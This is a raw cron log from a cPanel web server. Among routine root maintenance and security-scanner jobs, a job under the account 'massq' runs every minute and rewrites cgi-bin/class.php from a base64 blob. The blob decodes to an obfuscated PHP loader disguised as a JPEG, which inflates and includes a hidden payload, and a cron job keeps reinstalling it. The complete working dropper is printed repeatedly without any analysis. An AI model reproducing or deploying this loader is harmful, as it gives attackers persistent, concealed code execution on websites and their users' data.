Aug 30 14:29:01 server CROND[31928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:30:01 server CROND[32352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:30:01 server CROND[32353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:30:01 server CROND[32354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:30:01 server CROND[32358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:30:01 server CROND[32356]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:30:01 server CROND[32361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:30:01 server CROND[32355]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:30:01 server CROND[32357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:31:01 server CROND[795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:31:01 server CROND[796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:31:01 server CROND[797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:32:01 server CROND[1251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:32:01 server CROND[1253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:32:01 server CROND[1252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:33:01 server CROND[1748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:33:01 server CROND[1750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:33:01 server CROND[1749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:34:01 server CROND[2162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:34:01 server CROND[2161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:34:01 server CROND[2163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:35:01 server CROND[2556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:35:01 server CROND[2559]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 14:35:01 server CROND[2560]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:35:01 server CROND[2562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:35:01 server CROND[2564]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:35:01 server CROND[2565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:35:01 server CROND[2569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:35:01 server CROND[2567]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 14:35:01 server CROND[2558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:36:01 server CROND[3429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:36:01 server CROND[3430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:36:01 server CROND[3431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:37:01 server CROND[3800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:37:01 server CROND[3801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:37:01 server CROND[3802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:38:01 server CROND[4280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:38:01 server CROND[4281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:38:01 server CROND[4282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:39:01 server CROND[4659]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 14:39:01 server CROND[4657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:39:01 server CROND[4658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:39:01 server CROND[4660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:40:01 server CROND[5044]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:40:01 server CROND[5047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:40:01 server CROND[5048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:40:01 server CROND[5050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:40:01 server CROND[5052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:40:01 server CROND[5051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:40:01 server CROND[5049]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
